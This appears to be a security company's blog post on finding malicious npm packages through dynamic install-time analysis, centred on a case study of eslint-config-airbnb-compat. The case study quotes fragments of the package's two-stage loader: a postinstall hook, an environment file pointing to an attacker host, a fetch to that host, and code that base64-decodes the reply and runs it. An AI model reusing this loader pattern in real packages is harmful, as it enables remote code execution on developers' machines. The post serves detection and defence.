---
title: "Catching the Silent Threat: How Dynamic Analysis Revealed a Complex npm Attack Chain"
description: "Explore how analyzing runtime behaviors using Dynamic Analysis data helps uncover abnormal activities in open source packages. By examining  network connections and unusual binary executions during package installation, we identify potential malicious actors and packages."
url: "https://safedep.io/blog/digging-into-dynamic-malware-analysis-signals"
author: "Kunal Singh"
published: "2025-05-19"
---

# Catching the Silent Threat: How Dynamic Analysis Revealed a Complex npm Attack Chain

In our previous blog, we discussed building a large scale [Dynamic Analysis System](https://safedep.io/blog/dynamic-analysis-oss-package-at-scale) for malicious open source package identification. Dynamic analysis help in observing actual runtime behaviors and activities for a package, installed in a sandbox environment. It complements our Static Analysis system and helps:

- To verify and correlate static analysis findings with actual runtime behavior
- To overcome the limitations of static analysis which may have false positives and negatives
- To observe how packages actually behave when executed in a controlled environment
- To identify malicious packages that might evade static code analysis
- To reduce the need for human intervention (manual analysis) over time

The goal of this blog is to share our learnings and approach for identifying malicious packages based on dynamic analysis signals. This is a step towards having a sound and reliable baseline for package installation analysis so that it can be used to identify outliers and anomalies.

## Approach

We tracked nearly **28 Million** events generated from our Dynamic Analysis System, analyzing more than **380,000** packages since we started operating this infrastructure. As events are generated, we needed a way to find **abnormal** activities and potential malicious packages that can be subjected to manual review. This can only be found using heuristics and patterns, not manual review of all events generated by all packages.

As a first step, we decided to aggregate following information from the events:

- Network Connection, IP Aggregator
- Binary execution on install

The rationale for these metrics are:

- Irrespective of specific TTP, _some_ payload will eventually be executed by a malicious package
- The payload will either make a network call or execute a command (eg. `curl`) in an unusual way

This hypothesis can be substantiated by our past observations where we observed multiple malicious packages eventually downloads a 2nd-stage payload from a remote C2 server or uploads data to a remote server (exfiltration).

## Network Connection

Any package installation process always triggers network connections, especially to the source registries such as `npm`, `pypi`, `rubygems` etc. We cannot only detect network connections, we have to identify _outliers_ in the distribution of these connections. To identify outliers, we log every _IP address_ for these connections and analyze the distribution of these _IP addresses_. The following chart shows the distribution of _IP addresses_ for network connections:

<div className="dark:invert dark:brightness-90">
  ![Dynamic Analyzer IP Address Distribution](https://safedep.io/_next/static/immutable/media/ip_address.3e5kutl35gb37.png)
</div>

Looking at the data, we can spot some interesting patterns. A few IP addresses are _infrequent_ in the distribution. From a security perspective, these rare connections raise red flags since legitimate package installations typically connect to well known, frequently accessed endpoints. The chart below highlights some of these suspicious one-off connections that may be suitable candidates for further investigation:

<div className="dark:invert dark:brightness-90">
  ![Dynamic Analyzer Malicious IP Address](https://safedep.io/_next/static/immutable/media/malicious-ip-address-table.3h3kh0qhe9g5-.png)
</div>

For example, looking up IP `167.99.69.236` on [VirusTotal](https://www.virustotal.com/) shows it has been classified as malicious by multiple security vendors.

<div className="dark:brightness-90">![Dynamic Analyzer VirusTotal IP examples](https://safedep.io/_next/static/immutable/media/virustotal-ip.1s-wdue1-krpg.png)</div>

Next, we performed `reverse DNS lookups` to identify the hostnames of these IP addresses. Below are some of the IP addresses that were resolved to a hostname.

<div className="dark:invert dark:brightness-90">
  ![Dynamic Analyzer Malicious Host examples](https://safedep.io/_next/static/immutable/media/malicious-host.1p8afeo3j1zlh.png)
</div>

Looking at the hostnames, domains like `oast.online`, `oast.site`, `oast.live`, and `mail.sms-system-alert.com` are known malicious domains. In particular, `OAST` (Out-of-band Application Security Testing) domains are commonly used for malicious purposes like data exfiltration and command &amp; control. We have seen this in our previous post [Burp Collaborator used in Malicious npm Packages](https://safedep.io/blog/burp-collaborator-for-dependency-confusion-attack).

<div className="dark:brightness-90">
  <figure>
    <figcaption>sms-system-alert.com</figcaption>
    ![Dynamic Analyzer Malicious Host examples](https://safedep.io/_next/static/immutable/media/sms-domain.2f75laq_iftk5.png)
  </figure>
</div>

### Abnormal Binary Execution

Packages introducing pre-compiled binaries during installation is a common observation. For example, top binaries shipped with `npm` and `pypi` packages or expected to be present in the system are `esbuild`, `workerd`, `rustc`, `cmake`, `ninja`, `zig` and more. They are executed for legitimate purposes, but can be used to harm the system as soon as the package is installed. The following chart shows the distribution of these binaries:

<div className="dark:invert dark:brightness-90">
  ![Dynamic Analyzer External Binary Distribution](https://safedep.io/_next/static/immutable/media/external-binary.28pmr09hmw2z0.png)
</div>

Looking at the distribution, we can spot suspicious binaries like `bsc.exe`, `purs.bin`, and `test_program` that appear infrequently. These unknown executables pose potential security risks, as they can execute malicious code immediately upon package installation, potentially compromising the system before any security controls can detect and prevent the threat.

## Case Study: Npm Package `eslint-config-airbnb-compat`

While the system is at an early research stage, we present a case study of a real malicious package that was identified using the approach described above. This package is [eslint-config-airbnb-compat](https://www.npmjs.com/package/eslint-config-airbnb-compat) and was not detected as malicious by our static analysis system. Following are the high level chain of events that led to the identification of this package:

1. Suspicious IP address `45.11.59.250` was detected in the network connection logs.
2. Events were correlated with the package `eslint-config-airbnb-compat` for which our [static analysis report](https://platform.safedep.io/community/malysis/01JVCJ683EREK1JTTRK1HTDW4S) was blind
3. Manual analysis did not conclusively identify root cause of this network activity
4. Dependency graph analysis identified `ts-runtime-compat-check` as a transitive dependency with stage-2 loader code
5. Manual analysis tied the two packages together and confirmed the malicious intent

### Initial Detection

For this analysis, the trigger was a low key IP address `45.11.59.250` that appeared in the network connection logs. The reverse DNS lookup revealed the hostname `mail.sms-system-alert.com` that was flagged as malicious by VirusTotal. This gave us enough confidence to investigate the package further.

We backtrack the package which is associated with this event, making connection to this `45.11.59.250` IP (who's host was `mail.sms-system-alert.com`), and found [eslint-config-airbnb-compat](https://www.npmjs.com/package/eslint-config-airbnb-compat). This package appears to impersonate legitimate [eslint-config-airbnb](https://www.npmjs.com/package/eslint-config-airbnb) possibly with the goal of starjacking and spoofing its origin to automated security tools.

We found, `eslint-config-airbnb-compat` contains a post install script declared in `package.json` to execute `setup.js`. This is not totally unusual for a large number of `npm` packages, although it does raise security concerns.

```shell
"postinstall": "node ./setup",
```

However, manual analysis revealed multiple unusual behavior. Likely to avoid identification, the `setup.js` does not have any malicious code. It simply does the following:

- Copy the embedded `.env.example` to `.env`

```js
if (!fs.existsSync('.env')) {
  fs.copyFileSync('.env.example', '.env');
  process.env.APP_PATH = process.cwd();
}
```

- The `.env` file contains the following

```txt
APP_ENV=local
APP_PROXY=https://proxy.eslint-proxy.site
APP_LOCAL=
ESLINT_DEBUG=true
FORCE_COLOR=1
```

> **Note:** The host `proxy.eslint-proxy.site` resolves to our target IP address `45.11.59.250`

- Execute `npm install` if `node_modules` directory is not present

```js
if (!fs.existsSync('node_modules')) {
  run('npm install');
}
```

At this point, we were fairly confident that this package is malicious. However, we needed to identify the root cause of this malicious behavior. We started by analyzing the dependency graph of this package and found `ts-runtime-compat-check` as a transitive dependency with stage-2 loader code. The package `ts-runtime-compat-check` in turn has a post install script:

```shell
"postinstall": "node lib/install.js"
```

The `lib/install.js` in `ts-runtime-compat-check` contains interesting code:

```js
const appPath = process.env.APP_PATH || 'http://localhost';
const proxy = process.env.APP_PROXY || 'http://localhost';

const response = await fetch(`${proxy}/api/v1/hb89/data?appPath=${appPath}`);
```

When introduced through `eslint-config-airbnb-compat`, it will have `proxy=https://proxy.eslint-proxy.site` in the `fetch(..)` call above. The above fetch call is expected to fail to trigger `errorHandler` function with _remote server_ provided error message.

```js
try {
  if (!response.ok) {
    const apiError = await response.json();
    throw new Error(apiError.error);
  }
  await response.json();
} catch (err) {
  errorHandler(err.message);
}
```

The remote server at `https://proxy.eslint-proxy.site` can return a _JSON_ message such as `{"error": "<JS Payload>"}` which in turn will be passed to _errorHandler_ as an Error object.

The error handler in turn does the following:

- Decode the message as _base64_ string

```js
const decoded = Buffer.from(error, 'base64').toString('utf-8');
```

- Constructs a function from the decoded string

```js
const handler = new Function.constructor('require', errCode);
```

- Finally executes the remote code

```js
const handlerFunc = createHandler(decoded);
if (handlerFunc) {
  handlerFunc(require);
} else {
  console.error('Handler function is not available.');
}
```

This pretty much confirm the malicious behavior of the entire attack chain. It implements a multi-stage remote code execution attack using a transitive dependency to hide the malicious code.

## Conclusion

Dynamic analysis provides a complementary approach for detecting malicious open source packages that might evade static analysis. By monitoring network connections and binary executions during package installation, we can identify suspicious behaviors that indicate potential threats. The multi-stage attack discovered in the `eslint-config-airbnb-compat` package demonstrates how sophisticated these attacks can be, using transitive dependencies and obfuscation techniques to hide malicious code.

As attackers continue to develop increasingly complex methods to compromise the open source software supply chains, combining static and dynamic analysis approaches is essential for effective detection. By focusing on abnormal signals and patterns during runtime, we can better protect our software supply chains against evolving threats and maintain the integrity of the open source ecosystems.
